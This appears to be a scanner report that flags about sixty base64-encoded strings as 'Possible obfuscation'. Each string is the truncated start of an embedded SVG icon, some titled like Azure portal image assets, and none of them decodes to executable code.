"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGZmY2U5LTI5NjAtNDk5Ni05OTVlLTFlM2I5OGVjMWQ5OSIgeDE9IjguNzY1IiB5MT0iMTUuMjY1IiB4Mj0i - Possible obfuscationline 907
"b64": "PHN2ZyBpZD0iYTEyZDc1ZWEtY2JiNi00NGZhLTgzMmEtZTU0Y2NlMDA5MTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUyYjEzZDgxLTk3ZTAtNDY1YS1iOWVk - Possible obfuscationline 912
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI4YmU5MGNhLWI1MTMtNDg5MC1hYzQyLWI3ZmMzYjM5NmI3MSIgeDE9IjExLjU2NSIgeTE9IjE0LjcyOSIgeDI9 - Possible obfuscationline 917
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MjllNjZlLTk2NTEtNGNiNi05MDFhLWI1ZDczZTI1ZmNkOSIgeDE9IjYuNDM2IiB5MT0iMTAuNzc2IiB4Mj0i - Possible obfuscationline 922
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImVhYTdlOWU1LTFmZTktNDEyMS05MTRjLTBiYWNlYzg3Mjc1YiIgeDE9IjcuMDI4IiB5MT0iMS4xNzkiIHgyPSI3 - Possible obfuscationline 927
"b64": "PHN2ZyBpZD0iZjhjYzY3YjYtODhkMi00ZDY1LWI5ZDQtMDg4N2UwNGQxZjM4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImIxY2Q0NGYyLWQ2MmItNDc1My1hODU5 - Possible obfuscationline 932
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZyBpZD0iYjc4NjgzNTUtMDAwMS00MWU4LTg0ZTEtYWU4NDJkOTRhNWFhIj48Zz48cG9seWdvbiBwb2ludHM9IjEyLjEgMi4wNSAxMi4xIDUuODUgOC45IDcu - Possible obfuscationline 937
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzYTQ0MDkzLWIxNTctNDI2ZS1hOGZlLWNlYzlmOWMyMzk3OCIgeDE9IjExLjcyOSIgeTE9IjQuODgiIHgyPSIx - Possible obfuscationline 942
"b64": "PHN2ZyBpZD0iYmViNDQwZjUtZDAxNy00ZGRhLTk4OWEtZGRkNDI1ZmNlMDJlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3NTQzOTA0LTRhODktNDM1ZS05NmNk - Possible obfuscationline 947
"b64": "PHN2ZyBpZD0iZTlmN2JhNzMtNTZiOC00ODY0LTk2ZmYtZGNlODBiZWY3MjlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkZjI3ZGM2LTAyNWMtNDgwNS04YmZk - Possible obfuscationline 952
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 957
"b64": "PHN2ZyBpZD0iYWY2YTJjNDItYmQ0OC00ODU3LWE0NzktYWVjZjhiM2RlNGY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI3MGM5Y2YxLWJhYjgtNDdlMC1iYmRi - Possible obfuscationline 962
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1NWJmMjEyLWJjNzEtNDNhZS1iNDJkLTE5ZWY3YTkxYzFkOCIgeDE9IjkiIHkxPSIxMy4yNDUiIHgyPSI5IiB5 - Possible obfuscationline 967
"b64": "PHN2ZyBpZD0idXVpZC01NGM5YmUwNC1iYmFiLTRjMjQtYTNkZi0xMWJkMGUyOGNhODUiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC04MGZkNjJmNS1kMTgy - Possible obfuscationline 972
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImUwMmFmNjdlLTNjZGQtNDNkMy04OGE5LWM2ZGRjODJiOTVhOSIgeDE9IjMuNTI0IiB5MT0iNi4xNjIiIHgyPSIz - Possible obfuscationline 977
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIxYTk3YzA3LWIxMjYtNDBjMS1hZjVjLTQ0YTNiMzAwZDBlZSIgeDE9Ii02NTUuNjQ0IiB5MT0iNzUxLjQwMSIg - Possible obfuscationline 982
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI2OTYyOGU0LWYxZmItNGI2My05YzM0LWUyZDg0YzM2YWZjNCIgeDE9IjkiIHkxPSIxNy4xOTgiIHgyPSI5IiB5 - Possible obfuscationline 987
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4OTc3YTZlLTBlZDgtNDk0MC1hYWE1LTdmYTI0OTgwOWY1MSIgeDE9IjUuODM5IiB5MT0iMTcuMDY4IiB4Mj0i - Possible obfuscationline 992
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImI0MmYyYTZlLTcwMzktNDMxYi04MzRjLWRmOTEzZDRhYzI5YyIgY3g9IjkuNDc3IiBjeT0iOS41NzYiIHI9Ijcu - Possible obfuscationline 997
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImExY2JhMzk3LTQ0YWYtNDhlNC1iY2IyLTIyNGI3MmIyM2E4NyIgeDE9IjUuNzgyIiB5MT0iMS43ODkiIHgyPSI1 - Possible obfuscationline 1002
"b64": "PHN2ZyBpZD0iZTAwZmVmMzAtMTU2Yy00OTMwLThiNjUtM2E1OTM1NDNhYTFkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0NWJhOWI1LTJlMDgtNGMzOS04OTE2 - Possible obfuscationline 1007
"b64": "PHN2ZyBpZD0iYjczMWY2ODQtN2NiOS00ZGI3LWIyYzEtMTUwNjhhYmYxMzNkIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48cmFkaWFsR3JhZGllbnQgaWQ9ImY2NTM5OGEzLWRmNjktNDY4OS04ZDVh - Possible obfuscationline 1012
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xMjwvdGl0bGU+PGcgaWQ9ImI4M2VmYWVhLWJkZGEtNGNhNi1iM2YzLWJkOWI0NDBmMWQxMiI+PGc+PHBh - Possible obfuscationline 1017
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48dGl0bGU+TXNQb3J0YWxGeC5iYXNlLmltYWdlcy0xODwvdGl0bGU+PGcgaWQ9ImZiMmJlMThlLTQ1NGYtNDEwNC04NjlhLTMxYzNiOGJhOTYxYyI+PGc+PGc+ - Possible obfuscationline 1022
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIyNjJhMzlmLTMzNGUtNGY3MC1hMjhkLTY0YjhiMDAwMTg2ZSIgeDE9IjguNDQiIHkxPSI0LjUyOSIgeDI9Ijgu - Possible obfuscationline 1027
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEzZDUxOGY5LTRmNzMtNDYxOC1hNmM3LTNhZmZmZjJhOTZiMiIgeDE9IjguODUiIHkxPSIxNi42NjgiIHgyPSI4 - Possible obfuscationline 1032
"b64": "PHN2ZyBpZD0iZTk0NTQwMDYtNzZhNi00NDM4LWFlZjktNGNjY2VhZGNjODM0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImZlMzkxOTg2LThkMzYtNDA3MC04ZjFk - Possible obfuscationline 1037
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwOWIwZjBmLTNkMjQtNGFhZC04ZmRhLTczZjlkYzg1NjFmNyIgeDE9IjkiIHkxPSI3OTAuNzg3IiB4Mj0iOSIg - Possible obfuscationline 1042
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEwNzY1MDI0LTg0M2YtNDVkNy1hNWQyLTZhNjFlZjFmNTg2YiIgeDE9IjQuOTg0IiB5MT0iMTguNzQ5IiB4Mj0i - Possible obfuscationline 1047
"b64": "PHN2ZyBpZD0iYTBjYjkxMjItN2U4ZS00OTg3LThjYWQtOWNhYjc3MjExNWE3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImYxYjgxMjEzLWI3ZDUtNDY1Yi1hNWYz - Possible obfuscationline 1052
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJiYmZmMTZjZS03YWFkLTRiODYtOGJi - Possible obfuscationline 1057
"b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2 - Possible obfuscationline 1062
"b64": "PHN2ZyBpZD0iZjllZDk2OTAtNjc1My00M2E3LThiMzItZDY2YWM3YjhhOTlhIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY3MTBhMzY0LTA4M2YtNDk0Yy05ZDk2 - Possible obfuscationline 1067
"b64": "PHN2ZyBpZD0iYjJlOGFhMDItZjVjZC00OTM3LWI5MDEtNjE5YmJkY2M0YzZmIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE1ZGU2MTM0LTUxMzItNDc0Zi04NGM1 - Possible obfuscationline 1072
"b64": "PHN2ZyBpZD0iYmZiYjkxZDItY2IyMC00NGNmLWIxYTktMGQxNjIwNGEzMmQ3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImFiM2I4YjlmLTczMmEtNGQ0Zi1hMTY0 - Possible obfuscationline 1077
"b64": "PHN2ZyBpZD0iYmUwMmU5MmEtZjFhYy00MzZiLTg1Y2QtYzdmYTZkNzFhN2FiIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImEyZjVhMzk5LWU1MTMtNGI1ZC05YjUw - Possible obfuscationline 1082
"b64": "PHN2ZyBpZD0iYWZhODE4MDQtN2IyZi00YTVlLWI2N2UtYWE1MWI0ZDA4MTYzIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48Y2xpcFBhdGggaWQ9ImViYjgzODljLTlhMjQtNGFlNS04ZGY2LTkxMzk0 - Possible obfuscationline 1087
"b64": "PHN2ZyBpZD0iYjBhM2Y1ODQtNzEyMS00N2E3LWJiY2UtNDJhMzc2NThlY2Q1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImIzODhlYzYzLTNlODYtNDVkMC1iMDM5 - Possible obfuscationline 1092
"b64": "PHN2ZyBpZD0idXVpZC0xODFlYzc4Zi1hMGMyLTQ2ODItODZmMS04ZTY0YzA1NzE4MTMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC05YjRhMGI1Yy05NTg2 - Possible obfuscationline 1097
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE5NDZhMmM3LTY4ZWUtNDMwZS1iNTAwLTdjNTE0MDNkNmQ0NSIgeDE9Ii0yLjM3NiIgeTE9Ijc4MC4xODMiIHgy - Possible obfuscationline 1102
"b64": "PHN2ZyBpZD0iYWJkMGYyMDMtYmIzZi00MGIxLWFhNzAtZDNjNDUyM2I2OWU5IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJmMzRmZDE1LTJhYjItNDliZi04MGQy - Possible obfuscationline 1107
"b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImJkOWRkOTJkLTllMzQtNGNhYi04NTdlLWEyYTJmZGViZmE2YyIgeDE9IjkiIHkxPSIxNy4wNTIiIHgyPSI5IiB5 - Possible obfuscationline 1112
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTUuNzMyNSAzLjUwMjEyTDE0LjQ5NDYgMy40NzA0N0gxNC4zNDY1TDEyLjE1NjUgMy4xNDM0N0wxMC43NDkzIDIuNTIx - Possible obfuscationline 1117
"b64": "PHN2ZyB3aWR0aD0iMTkiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOSAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBvcGFjaXR5PSIwLjkiIGQ9Ik05LjIzNjg5IDEyLjEzNkM4Ljg3NDA3IDEyLjEzNiA4LjUxOTM5IDEyLjAyODQgOC4yMTc3NCAx - Possible obfuscationline 1122
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzMpIj48cGF0aCBkPSJNMC43MDcxMDYgOC4yOTI4OUw4LjI5Mjg5IDAuNzA3 - Possible obfuscationline 1127
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTcuMDM4IDEuMDY0OTRIMC45NjMwMzlDMC42NjAzODcgMS4wNjQ5NCAwLjQxNTAzOSAxLjMxMDI5IDAuNDE1MDM5IDEu - Possible obfuscationline 1132
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NTIpIj48cGF0aCBkPSJNNy4xMjggOUM3LjMzMzc4IDkuMDAyMjggNy41Mzg3 - Possible obfuscationline 1137
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTkuOTYzMTYgMTAuMzI3OUMxMC45NTAyIDEwLjg0 - Possible obfuscationline 1142
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQzOTkpIj48cGF0aCBkPSJNMTAuMzgxIDkuN0M5LjgzOTEgMTAuMTQxMiA5LjM5 - Possible obfuscationline 1147
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMC44NzY0NzQgMy41MDM1OEMxLjE2NzY0IDIuNTgwMzYgMS45NDEyOSAyIDIuNzg0NDggMkgxNS4xMjMzQzE1Ljk4NjEg - Possible obfuscationline 1152
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE1LjUgMTIuODQ5NkgyLjVDMS40NjQ0NyAxMi44 - Possible obfuscationline 1157
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0NjcpIj48cGF0aCBkPSJNMi41MzE2NSAwSDE1LjQ2ODRDMTUuNjc1NCAwIDE1 - Possible obfuscationline 1162
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMjAiIHZpZXdCb3g9IjAgMCAxOCAyMCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTIuNzUyMiA3Ljk5OTk0TDEzLjg0ODIgNy45MDk3MUMxNC4wOTkgNy44ODkwNCAxNC4zMTgzIDguMDc1NTEgMTQuMzM4 - Possible obfuscationline 1167
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTAuNzk2NzQ1IDIuMjM1MjdMNC41MjA4NCA4LjYw - Possible obfuscationline 1172
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTE3LjY1NDIgNC4zNDgzOUgwLjM0NzczMVYxNC40 - Possible obfuscationline 1177
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNS4zMTIzMyA1LjM3MzE1TDQuOTIzMDkgNC43Nzc4QzUuMzAwMjEgNC41MzE2NiA1Ljc1ODEgNC4yOTYwNiA2LjI5Nzkz - Possible obfuscationline 1182
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MDApIj48cGF0aCBkPSJNMTcuMDk3NCAwSDAuOTAyNjE2QzAuNDA0MTE1IDAg - Possible obfuscationline 1187
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZlbm9kZCIgZD0iTTYuNjQ2MTUgMi4zOTMyQzQuMzUyMDUgMi4zOTMy - Possible obfuscationline 1192
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBjbGlwLXBhdGg9InVybCgjY2xpcDBfNjEwMl8xMzQ0MzYpIj48cGF0aCBmaWxsLXJ1bGU9ImV2ZW5vZGQiIGNsaXAtcnVsZT0iZXZl - Possible obfuscationline 1197
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTgiIHZpZXdCb3g9IjAgMCAxOCAxOCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTQuOTA4IDEwLjAzMzVMMTYuMTQ2MyA4LjY0NTEzSDEyLjZWNy41NTQ5MUgxNi4xNDYzTDE0LjkwOCA2LjE2NjU5TDE1 - Possible obfuscationline 1202
"b64": "PHN2ZyB3aWR0aD0iMTgiIGhlaWdodD0iMTkiIHZpZXdCb3g9IjAgMCAxOCAxOSIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNOS44OTA2NSA0LjQxOTc4TDEwLjY2MTcgMy43NjUwOUMxMC44MzgxIDMuNjE1MjUgMTEuMTA2MyAzLjY0NDQ3IDExLjI2 - Possible obfuscationline 1207
